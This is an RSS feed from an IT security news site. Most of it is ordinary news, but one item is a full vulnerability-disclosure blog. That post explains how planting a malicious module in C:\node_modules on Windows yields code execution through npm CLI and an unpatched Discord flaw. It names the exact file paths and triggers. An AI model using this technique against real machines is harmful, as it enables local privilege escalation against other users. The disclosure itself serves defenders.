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<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
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<lastBuildDate>Wed, 29 Jul 2026 12:33:26 +0200</lastBuildDate>
<pubDate>Wed, 29 Jul 2026 12:33:26 +0200</pubDate>
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<copyright>2026 Team IT Security</copyright>
<managingEditor>lakandor@tsecurity.de (Horus Sirius)</managingEditor>
<webMaster>lakandor@tsecurity.de (Horus Sirius)</webMaster>
<category>IT Security</category>
<category>Cybersecurity</category>
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<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
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<item>
<title><![CDATA[Sullivan’s Crossing Season 5 Release Date: Everything You Need to Know]]></title>
<description><![CDATA[Sullivan’s Crossing Season 5 is officially happening, although Netflix viewers will probably need to wait until 2027 to watch the next chapter of Maggie and Cal’s story.



CTV renewed the romantic drama for a fifth season in June 2026, describing it as the network’s number-one original drama. Pr...]]></description>
<link>https://tsecurity.de/de/3695246/ios-mac-os/sullivans-crossing-season-5-release-date-everything-you-need-to-know/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695246/ios-mac-os/sullivans-crossing-season-5-release-date-everything-you-need-to-know/</guid>
<pubDate>Sun, 26 Jul 2026 08:54:08 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Sullivan’s Crossing Season 5 is officially happening, although Netflix viewers will probably need to wait until 2027 to watch the next chapter of Maggie and Cal’s story.



CTV renewed the romantic drama for a fifth season in June 2026, describing it as the network’s number-one original drama. Production is scheduled to begin in Nova Scotia during summer 2026, while an exact premiere date and episode count remain unconfirmed.




Renewal status: Officially renewed by CTV



Expected filming period: Summer 2026



Likely CTV premiere: Spring 2027



Expected episode count: Around 10 episodes



Genre: Romantic drama and medical drama



Filming location: Nova Scotia, Canada



Expected Netflix release: Summer 2027




The spring 2027 estimate follows the show’s recent release pattern. Seasons 3 and 4 arrived during the spring, while the fourth season contained 10 one-hour episodes.



Where the story is heading



Spoilers for the Sullivan’s Crossing Season 4 finale follow.



Season 4 ended with Cal proposing to Maggie, but viewers did not hear her answer. Tracy interrupted the moment by asking Maggie and Cal to take her in, leaving the couple’s engagement and immediate future unresolved.



Season 5 should return to Maggie’s decision and examine whether she and Cal can finally build a stable life together. Their relationship faced another major test during Season 4 after Liam, Maggie’s former husband, arrived and revealed more about their complicated past.



Earlier seasons followed Maggie as she returned to Sullivan’s Crossing after legal trouble disrupted her medical career. Her time at the campground helped her rebuild her relationship with her father, Sully, while her friendship with Cal slowly developed into a romance.



Season 5 will have a new showrunner



The series will also experience a creative change behind the scenes. Creator Roma Roth will remain involved as an executive producer, while Floyd Kane takes over as showrunner for Season 5.



Morgan Kohan and Chad Michael Murray are expected to return as Maggie and Cal. However, the complete cast has not been announced. Scott Patterson, who played Sully during the first three seasons, is also not currently expected to return.



When should Season 5 arrive on Netflix?



Netflix has not announced a Season 5 release date. Season 4 joined Netflix on June 30, 2026, shortly after its television finale aired on June 22.



Based on that schedule, Sullivan’s Crossing Season 5 should reach Netflix a few weeks after its 2027 television finale. A release between June and August 2027 appears most likely, provided the new season premieres during spring.



Season 4 recently reached Netflix’s global Top 10 with 1.3 million views during the week of July 13 to July 19, giving the streaming service another reason to carry the next season.



Do you think Maggie will accept Cal’s proposal, or will Tracy’s arrival change their plans? Let us know what you expect from Sullivan’s Crossing Season 5 in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[Sakana AI Releases Fugu-Cyber: An Orchestration Model Reporting 86.9% on CyberGym and 72.1% on CTI-REALM]]></title>
<description><![CDATA[Sakana AI has released Fugu-Cyber, a security-tuned endpoint on its Fugu orchestration model. It reports 86.9% on CyberGym and 72.1% on CTI-REALM, edging past GPT-5.5-Cyber and Claude Mythos Preview. Access is gated behind manual approval, a defensive-use policy, and the Token Plan. Here is what ...]]></description>
<link>https://tsecurity.de/de/3695150/ai-nachrichten/sakana-ai-releases-fugu-cyber-an-orchestration-model-reporting-869-on-cybergym-and-721-on-cti-realm/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695150/ai-nachrichten/sakana-ai-releases-fugu-cyber-an-orchestration-model-reporting-869-on-cybergym-and-721-on-cti-realm/</guid>
<pubDate>Sun, 26 Jul 2026 06:40:38 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Sakana AI has released Fugu-Cyber, a security-tuned endpoint on its Fugu orchestration model. It reports 86.9% on CyberGym and 72.1% on CTI-REALM, edging past GPT-5.5-Cyber and Claude Mythos Preview. Access is gated behind manual approval, a defensive-use policy, and the Token Plan. Here is what the numbers actually mean.</p>
<p>The post <a href="https://www.marktechpost.com/2026/07/25/sakana-ai-releases-fugu-cyber-orchestration-model-cybergym-cti-realm/">Sakana AI Releases Fugu-Cyber: An Orchestration Model Reporting 86.9% on CyberGym and 72.1% on CTI-REALM</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Claude Opus 5 is said to find security vulnerabilities at Mythos level - Heise]]></title>
<description><![CDATA[While Opus 5 was not trained on cybersecurity tasks, Anthropic emphasizes, its general capabilities are good enough to match Mythos 5 in finding ...]]></description>
<link>https://tsecurity.de/de/3694941/it-security-nachrichten/claude-opus-5-is-said-to-find-security-vulnerabilities-at-mythos-level-heise/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694941/it-security-nachrichten/claude-opus-5-is-said-to-find-security-vulnerabilities-at-mythos-level-heise/</guid>
<pubDate>Sat, 25 Jul 2026 22:45:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[While Opus 5 was not trained on cybersecurity tasks, Anthropic emphasizes, its general capabilities are good enough to match Mythos 5 in finding ...]]></content:encoded>
</item>
<item>
<title><![CDATA[Designing High-Performance GPU Kernels with TileLang: Tensor-Core GEMM, Fused Softmax, FlashAttention, and Autotuning]]></title>
<description><![CDATA[Explore TileLang, a high-level Python domain-specific language that simplifies the design of high-performance GPU kernels. This tutorial provides a step-by-step approach to implementing complex workloads—including tiled tensor-core GEMM, fused softmax, and FlashAttention—while letting the compile...]]></description>
<link>https://tsecurity.de/de/3694838/ai-nachrichten/designing-high-performance-gpu-kernels-with-tilelang-tensor-core-gemm-fused-softmax-flashattention-and-autotuning/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694838/ai-nachrichten/designing-high-performance-gpu-kernels-with-tilelang-tensor-core-gemm-fused-softmax-flashattention-and-autotuning/</guid>
<pubDate>Sat, 25 Jul 2026 20:26:45 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Explore TileLang, a high-level Python domain-specific language that simplifies the design of high-performance GPU kernels. This tutorial provides a step-by-step approach to implementing complex workloads—including tiled tensor-core GEMM, fused softmax, and FlashAttention—while letting the compiler handle intricate thread mapping, memory layouts, and low-level CUDA instruction generation.</p>
<p>The post <a href="https://www.marktechpost.com/2026/07/25/designing-high-performance-gpu-kernels-with-tilelang-tensor-core-gemm-fused-softmax-flashattention-and-autotuning/">Designing High-Performance GPU Kernels with TileLang: Tensor-Core GEMM, Fused Softmax, FlashAttention, and Autotuning</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[OceanLotus: From external espionage to domestic targeting]]></title>
<description><![CDATA[A shift in operational pattern of the infamous Vietnam-aligned APT group]]></description>
<link>https://tsecurity.de/de/3694644/malware-trojaner-viren/oceanlotus-from-external-espionage-to-domestic-targeting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694644/malware-trojaner-viren/oceanlotus-from-external-espionage-to-domestic-targeting/</guid>
<pubDate>Sat, 25 Jul 2026 19:04:31 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A shift in operational pattern of the infamous Vietnam-aligned APT group]]></content:encoded>
</item>
<item>
<title><![CDATA[Node.js Trust Falls: Dangerous Module Resolution on Windows]]></title>
<description><![CDATA[In September of 2024, ZDI received a vulnerability submission from an anonymous researcher affecting npm CLI that revealed a fundamental design issue in Node.js. This blog details how it continues to expose applications to local privilege escalation (LPE) attacks on Windows systems, including the...]]></description>
<link>https://tsecurity.de/de/3694571/hacking/nodejs-trust-falls-dangerous-module-resolution-on-windows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694571/hacking/nodejs-trust-falls-dangerous-module-resolution-on-windows/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:58 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">In September of 2024, ZDI received a vulnerability submission from an anonymous researcher affecting <a href="https://docs.npmjs.com/cli/v11">npm CLI</a> that revealed a fundamental design issue in <a href="https://nodejs.org/en">Node.js</a>. This blog details how it continues to expose applications to local privilege escalation (LPE) attacks on Windows systems, including the Discord desktop app (CVE-2026-0776 0-Day), which remains unpatched and vulnerable.</p>





















  
  



<p>The issue is straightforward: when Node.js resolves modules, the runtime searches for packages in <code>C:\node_modules</code> as part of its default behavior. Since low-privileged Windows users can create this directory and plant malicious modules there, any Node.js application with missing or optional dependencies becomes vulnerable to privilege escalation.</p>




  <p class="">This issue is not new. Concerned discussions about Node.js's module search path behavior date back to <a href="https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ">2013</a> and <a href="https://github.com/nodejs/node-v0.x-archive/issues/8830">2014</a>.</p><p class="">Node.js has explicitly <a href="https://github.com/nodejs/node/security/policy#uncontrolled-search-path-element-cwe-427">stated</a> that they consider this behavior intentional: </p><p class="">"Node.js trusts the file system." </p><p class="">They do not treat CWE-427 (Uncontrolled Search Path Element) as a vulnerability, pushing responsibility onto application developers. </p>





















  
  














































  

    
  
    

      

      
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            <p data-rte-preserve-empty="true"><em>Figure 1: The vendor’s security policy stance on CWE-427 as a non-issue</em></p>
          </figcaption>
        
      
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  <p class="">As the case studies below demonstrate, this stance has dangerous consequences. Developers are largely unaware of this attack surface, and the result is a proliferation of exploitable applications. We will show examples in npm CLI and Discord, but there are likely many more applications that are impacted by this.</p><p class=""><strong>Root Cause</strong></p><p class="">The root cause lies in the way Node.js performs module resolution. This is documented <a href="https://nodejs.org/api/modules.html#loading-from-node-modules-folders">here.</a> Although UNIX paths are used in the documentation provided by Node.js, the same logic is applied on Windows.</p>





















  
  



<p>When a Node.js application calls require(‘bar’), the runtime searches for the module in the following order:  </p>
<ol>
<li>   C:\Users\Administrator\projects\node_modules\bar.js</li>
<li>   C:\Users\Administrator\node_modules\bar.js</li>
<li>   C:\Users\node_modules\bar.js</li>
<li>   C:\node_modules\bar.js              &lt;-- The problem</li>
</ol>
<p>If the legitimate package is missing, whether due to optional dependencies, development packages removed in production, or installation failures, the resolution search will eventually reach the root of the drive. Any user can create <code>C:\node_modules</code> and place a malicious package there. Once the low-privileged user has populated <code>C:\node_modules\bar.js</code>, Node.js will load and execute it in the context of the current user. In the following case studies, we will provide evidence of how, despite properly following NPM’s <a href="https://docs.npmjs.com/cli/v11/configuring-npm/package-json#optionaldependencies">guidelines</a>, third-party dependencies end up triggering this vulnerability anytime you launch the application.   </p>
<p><b data-preserve-html-node="true">Case Studies: Real-World Manifestations</b>  </p>
<p>The Optional Dependency Pattern:
npm supports optional dependencies to be specified in the project’s package.json file. The <a href="https://docs.npmjs.com/cli/v11/configuring-npm/package-json#optionaldependencies">recommended pattern</a> for checking for these dependencies is as follows:</p>












































  

    
  
    

      

      
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            <p data-rte-preserve-empty="true"><em>Figure 2: npm Docs showing optionalDependencies example code      </em></p>
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<p>This pattern silently catches errors when optional packages are missing, allowing execution to continue. So what’s the problem? On Windows, Node.js will search all the way up to <code>C:\node_modules</code> where an attacker may have planted a malicious replacement. This search behavior mirrors UNIX conventions where <code>/node_modules</code> at the filesystem root is typically only writable by root. Windows systems by default allow any user to create <code>C:\node_modules</code>. Once <code>require</code> is called, Node.js will traverse the search path and execute any matching module it finds.  </p>
<p>Important things to note:  </p>
<ol>
<li>   This pattern can be found in third party libraries deep in a dependency tree, as we will see in the following examples.  </li>
<li>   There is no runtime indication to either the developers or the end users that such a vulnerability exists without looking at the filesystem logs with Procmon.  </li>
<li>   The optional dependency pattern itself would not be dangerous if Node.js did not search for packages in <code>C:\node_modules</code>.</li>
</ol>
<p>Let’s take a deeper look at both cases and see why this is so dangerous.  </p>
<p><b data-preserve-html-node="true">Case 1: npm CLI (ZDI-26-043 / ZDI-CAN-25430 / CVE-2026-0775)</b>. </p>
<p>Prior to version 11.2.0, npm CLI used a library called “promise-inflight”, which contained an optional dependency on a package called “bluebird”. </p>












































  

    
  
    

      

      
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png" data-image-dimensions="926x517" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=1000w" width="926" height="517" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
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            <p data-rte-preserve-empty="true"><em>Figure 3: npm CLI repo </em><a href="https://github.com/npm/cli/blob/977fd5784f875fdc2e3436ed15c444ddca63e3d7/node_modules/promise-inflight/inflight.js#L6"><em>snippet</em></a><em> </em><a href="https://github.com/npm/cli/blob/977fd5784f875fdc2e3436ed15c444ddca63e3d7/node_modules/promise-inflight/inflight.js#L6"><em>showing</em></a><em> require call for missing bluebird package dependency</em></p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>When Node.js is installed on the system, npm is included by default without the <code>bluebird</code> package.  This vulnerability was introduced when bluebird was removed through a well-intentioned pull request (<a href="https://github.com/npm/cli/pull/1438/changes">https://github.com/npm/cli/pull/1438/changes</a>), demonstrating how easy it is for developers to unknowingly create this attack surface.</p>
<p>We can see Node’s package resolution logic at work in the screenshot below:</p>












































  

    
  
    

      

      
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png" data-image-dimensions="1007x497" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=1000w" width="1007" height="497" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 4: Procmon log showing the package resolution behavior of Node.js via CVE-2026-0775</em></p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>First, the application looks for the <code>bluebird.js</code> package in the Node.js installation directory. Node.js sequentially searches back to the system root until it finds the package. If an attacker has placed <code>C:\node_modules\bluebird.js</code>, the <code>require</code> call will find, read, and execute the malicious payload in the context of any user running npm on the system. </p>
<p>This vulnerability is especially dangerous because it is triggered when many <code>npm *</code> cli commands are used. Common development commands such as <code>npm install</code>, <code>npm –l</code>, and <code>npm prune</code> will all execute the malicious <code>bluebird.js</code>package.</p>
<p><b data-preserve-html-node="true">Case 2: Discord (ZDI-26-040/ ZDI-CAN-27057 / CVE-2026-0776/ UNPATCHED)</b></p>
<p>On April 22, 2025, ZDI received a report for a similar vulnerability in Discord reported by T. Doğa Gelişli. Discord uses the ws WebSocket library, which contains an optional dependency on utf-8-validate for compatibility with older Node.js versions:</p>












































  

    
  
    

      

      
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png" data-image-dimensions="1662x798" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=1000w" width="1662" height="798" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true">Figure 5: websockets library repo snippet showing require call for missing utf-8-validate package dependency</p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>Discord does not ship with the utf-8-validate package. As a result, the following Procmon logs show the same behavior as Case 1. Anytime Discord is launched, the attacker controlled <code>C:\node_modules\utf-8-validate.js</code> is executed.</p>












































  

    
  
    

      

      
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png" data-image-dimensions="1074x528" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=1000w" width="1074" height="528" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true">Figure 6: Procmon log showing the package resolution behavior of Node.js via CVE-2026-0776</p>
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<p>The ws library does support disabling this check via the <code>WS_NO_UTF_8_VALIDATE</code> environment variable, but this requires the consuming application (Discord) to set it explicitly. Here’s a quick video demonstrating the bug by popping the calc app when opening Discord:</p>


  














  
    
      
    
    
      
        
          
          
        
      
      
      



    
  








  <p class="">Discord automatically opens on login by default, so in practice code execution happens immediately without any user interaction. Strangely, the Discord Security team made it clear to us in their responses that they do not consider local attack vectors as valid security issues. </p><p class=""><strong>The Bigger Picture</strong></p><p class="">The cases above represent only a few of the applications affected by this pattern. During our investigation we found many other independent reports.  These issues in <a href="https://jira.mongodb.org/browse/COMPASS-9058">Mongo DB Compass</a> and <a href="https://jira.mongodb.org/browse/MONGOSH-2028">Mongo DB Shell</a> are just two other examples.</p><p class="">Every Windows application built on Node.js with missing or optional dependencies is potentially vulnerable. This includes desktop applications that utilize Electron as well as popular web frameworks such as Next.js and React.</p><p class="">Each vendor has clearly stated that they will not treat these issues as vulnerabilities: </p><p class="">NPM’s response to our report: </p><p class=""><em>“exploits that require local access to a machine are considered ineligible for npm CLI</em></p><p class="">Discord’s response to our report:</p><p class=""><em>“We do not consider physical/local attacks as valid security issues”</em></p><p class="">Node.js, in the “Examples of non-vulnerabilities” section of their <a href="https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities">Security Policy</a>: </p><p class=""><em>“Node.js trusts the file system in the environment accessible to it. Therefore, it is not a vulnerability if it accesses/loads files from any path that is accessible to it.” </em></p><p class=""><strong>Conclusion</strong></p>





















  
  



<p>The vulnerability pattern described in this blog stems from a deliberate design decision by Node.js maintainers. While Node.js's position that “applications should trust their filesystem” may hold true on properly administered UNIX systems, it creates a systemic vulnerability on Windows where low-privileged users can write to <code>C:\node_modules</code>. Without a fix from Node.js, the burden silently falls on application developers.   </p>
<p>Making matters worse, the vulnerable code may not live in the application code itself. The optional dependencies that trigger this behavior could come from third-party libraries buried in the dependency tree as we saw with both Discord and npm CLI. </p>




  <p class="">We encourage security researchers to further review this issue and investigate other applications for this dangerous behavior. You can find us online at <a href="https://x.com/bobbygould5">@bobbygould5</a> and <a href="https://x.com/izobashi">@izobashi</a>, and follow the team on <a href="https://www.twitter.com/thezdi">Twitter</a>, <a href="https://infosec.exchange/@thezdi">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative">LinkedIn</a>, or <a href="https://bsky.app/profile/thezdi.bsky.social">Bluesky</a> for the latest in exploit techniques and security patches.</p><p class=""> </p><p class="">DISCLOSURE TIMELINES</p><p class=""> </p><p class="">NPM CLI: </p><p class="">2024-11-13 – ZDI submitted the report to the vendor</p><p class="">2024-11-13 – The vendor acknowledged the receipt of the report</p><p class="">2024-11-13 – The vendor communicated that the reported behavior was by design and they do not consider local attacks as valid security issues</p><p class="">2025-08-05 – ZDI encouraged the vendor to re-assess the issue</p><p class="">2025-12-18 – ZDI notified the vendor of the intention to publish the case as a 0-day advisory</p><p class=""> </p><p class="">DISCORD: </p><p class="">2025-07-08 – ZDI notified vendor </p><p class="">2025-09-11 – ZDI followed up with vendor </p><p class="">2025-09-15 – Vendor stated they do not consider local attacks as valid security issues </p><p class="">2025-12-01 – ZDI explained why we believe the issue is still valid </p><p class="">2025-12-10 – Vendor replied that the vulnerability is still out of scope  </p><p class="">2025-12-11 – ZDI informed vendor of intent to publish 0-day  </p><p class="">  </p><p class="">REFERENCES</p><p class=""><a href="https://nodejs.org/api/modules.html#loading-from-node_modules-folders">https://nodejs.org/api/modules.html#loading-from-node_modules-folders</a></p><p class=""><a href="https://docs.npmjs.com/cli/v10/configuring-npm/package-json#optionaldependencies">https://docs.npmjs.com/cli/v10/configuring-npm/package-json#optionaldependencies</a></p><p class=""><a href="https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ?pli=1">https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ?pli=1</a></p><p class=""><a href="https://github.com/nodejs/node-v0.x-archive/issues/8830">https://github.com/nodejs/node-v0.x-archive/issues/8830</a></p><p class=""><a href="https://bounty.github.com/ineligible.html#vulnerability_in_upstream_dependencies:~:text=eligible%20for%20rewards.-,Local%20access,-Vulnerabilities%20which%20require">https://bounty.github.com/ineligible.html#vulnerability_in_upstream_dependencies:~:text=eligible%20for%20rewards.-,Local%20access,-Vulnerabilities%20which%20require</a></p><p class=""><a href="https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities">https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-47291: Remote Code Execution in the Windows HTTP.sys]]></title>
<description><![CDATA[In this excerpt of a TrendAI Research Services vulnerability report, Yazhi Wang and Jonathan Lein of the TrendAI Research team detail a recently patched remote code execution bug in the Windows HTTP protocol stack. Successful exploitation of this vulnerability can result in a denial-of-service co...]]></description>
<link>https://tsecurity.de/de/3694561/hacking/cve-2026-47291-remote-code-execution-in-the-windows-httpsys/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694561/hacking/cve-2026-47291-remote-code-execution-in-the-windows-httpsys/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:52 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class=""><em>In this excerpt of a TrendAI Research Services vulnerability report, Yazhi Wang and Jonathan Lein of the TrendAI Research team detail a recently patched remote code execution bug in the Windows HTTP protocol stack. Successful exploitation of this vulnerability can result in a denial-of-service condition, or, in the worst case, code execution with kernel privileges. The following is a portion of their write-up covering CVE-2026-47291, with a few minimal modifications.</em></p>





















  
  




  



